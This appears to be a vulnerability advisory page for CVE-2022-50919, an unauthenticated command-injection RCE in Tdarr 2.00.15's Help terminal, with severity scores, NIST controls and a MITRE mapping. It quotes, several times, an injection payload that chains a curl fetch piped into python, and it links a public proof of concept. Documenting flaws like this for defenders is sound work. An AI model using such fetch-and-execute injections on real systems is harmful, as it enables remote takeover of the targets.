CVE-2022-50919

CriticalPublic PoCRCE

Published: 13 January 2026

Published

13 January 2026

Modified

29 January 2026

KEV Added

—

Patch

—

CVSS Score 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS Score 0.0175 82.8th percentile

Risk Priority 21 60% EPSS · 20% KEV · 20% CVSS

Summary

CVE-2022-50919 is a critical-severity OS Command Injection (CWE-78) vulnerability in Tdarr Tdarr. Its CVSS base score is 9.8 (Critical).

Operationally, exploitation aligns with the MITRE ATT&CK technique Exploit Public-Facing Application (T1190); ranked in the top 17.2% of CVEs by exploit likelihood; it is not currently listed in the CISA KEV catalog; a public proof-of-concept is referenced.

The strongest mitigations our analysis identified are NIST 800-53 AC-14 (Permitted Actions Without Identification or Authentication) and SI-10 (Information Input Validation).

Threat & Defense at a Glance

What attackers do: exploitation maps to Exploit Public-Facing Application (T1190). What defenders deploy: see the NIST 800-53 controls recommended below.

Threat & Defense Details

Mitigating Controls (NIST 800-53 r5)AI

SI-10 Information Input Validation good match

prevent

Directly mitigates the lack of input filtering in Tdarr's Help terminal by requiring validation of all inputs to prevent command injection chains like `--help; curl .py | python`.

SI-2 Flaw Remediation good match

preventrecover

Requires timely identification, reporting, and correction of the specific unauthenticated RCE flaw due to inadequate input sanitization.

AC-14 Permitted Actions Without Identification or Authentication good match

prevent

Limits permitted actions without authentication specifically for public interfaces like the Help terminal to prevent unauthenticated command execution.

MITRE ATT&CK Enterprise TechniquesAI

T1190 Exploit Public-Facing Application Initial Access

Adversaries may attempt to exploit a weakness in an Internet-facing host or system to initially access a network.

attack.mitre.org →

Why these techniques?

Unauthenticated RCE via command injection in the public-facing Tdarr Help terminal directly enables T1190: Exploit Public-Facing Application.

Confidence: HIGH · MITRE ATT&CK Enterprise v19.0

NVD Description

Tdarr 2.00.15 contains an unauthenticated remote code execution vulnerability in its Help terminal that allows attackers to inject and chain arbitrary commands. Attackers can exploit the lack of input filtering by chaining commands like `--help; curl .py | python` to…

execute remote code without authentication.

Deeper analysisAI

CVE-2022-50919 is an unauthenticated remote code execution vulnerability affecting Tdarr version 2.00.15, specifically in its Help terminal. The flaw stems from a lack of input filtering, enabling command injection as classified under CWE-78. It carries a CVSS v3.1 base score of 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H), indicating critical severity due to its network accessibility, low complexity, and lack of prerequisites.

Remote attackers require no authentication or privileges to exploit the vulnerability. By crafting inputs that chain arbitrary commands, such as `--help; curl .py | python`, adversaries can inject and execute remote code on the target system. Successful exploitation grants high-impact control over confidentiality, integrity, and availability.

Advisories and additional details, including potential patches or mitigation guidance, are available from the vendor at https://tdarr.io, an exploit proof-of-concept at https://www.exploit-db.com/exploits/50822, and a vulnerability analysis at https://www.vulncheck.com/advisories/tdarr-command-injection. Security practitioners should consult these resources for remediation steps.